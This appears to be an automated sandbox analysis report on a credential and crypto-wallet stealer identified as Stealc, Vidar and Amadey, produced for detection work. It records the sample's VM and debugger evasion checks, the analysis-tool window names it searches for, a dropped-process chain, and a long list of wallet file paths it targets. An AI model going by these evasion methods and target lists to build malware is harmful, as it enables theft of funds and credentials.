Source: skotes.exe, 0000001C.00000002.2703562360.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: Web Data.10.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: file.exe, 00000000.00000002.1996260643.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2026810670.0000000023570000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696494690x
Source: Web Data.10.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: Web Data.10.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: Web Data.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: Web Data.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: file.exe, 00000000.00000002.1994705060.00000000005D6000.00000040.00000001.01000000.00000003.sdmp, DocumentsEHJKJDGCGD.exe, 00000017.00000002.2078757051.0000000001099000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000018.00000002.2083515843.0000000000529000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.2111097489.0000000000529000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001C.00000002.2701192639.0000000000529000.00000040.00000001.01000000.0000000E.sdmp, 7b950b2da4.exe, 0000001E.00000002.2701579658.0000000000E7D000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2026810670.0000000023570000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cRECOVE~1381bankoRecoveryImprovedVMware20,11696494690x
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: Web Data.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsEHJKJDGCGD.exe

Code function: 23_2_05670143 rdtsc

23_2_05670143

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC4AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CC4AC62

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0036652B mov eax, dword ptr fs:[00000030h]		28_2_0036652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0036A302 mov eax, dword ptr fs:[00000030h]		28_2_0036A302

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC4AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CC4AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 568, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEHJKJDGCGD.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsEHJKJDGCGD.exe "C:\Users\user\DocumentsEHJKJDGCGD.exe"
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe "C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC94760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CC94760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB71C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CB71C30

Source: file.exe, file.exe, 00000000.00000002.1994705060.00000000005D6000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: "Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC4AE71 cpuid

0_2_6CC4AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC4A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CC4A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB98390 NSS_GetVersion,

0_2_6CB98390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.DocumentsEHJKJDGCGD.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.330000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.330000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.skotes.exe.330000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000003.2522595024.0000000004820000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2083342943.0000000000331000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2700815411.0000000000331000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2070684914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2041418812.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2110993064.0000000000331000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2078563513.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.1990725998.0000000005470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.1472255775.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1996260643.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1994265116.0000000000201000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 568, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 568, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16bert\AppData\Roaming\Electrum-LTC\wallets\.*E%
Source: file.exe, 00000000.00000002.1994265116.0000000000367000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1994265116.0000000000367000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113Users\user\AppData\Roaming\Exodus\window-state.json.*
Source: file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1994265116.0000000000367000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.1994265116.0000000000367000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1994265116.0000000000367000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.1994265116.0000000000367000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1994265116.0000000000367000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.1994265116.0000000000367000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1994265116.0000000000367000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.1994265116.0000000000367000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.1994265116.0000000000367000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.1994265116.0000000000367000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 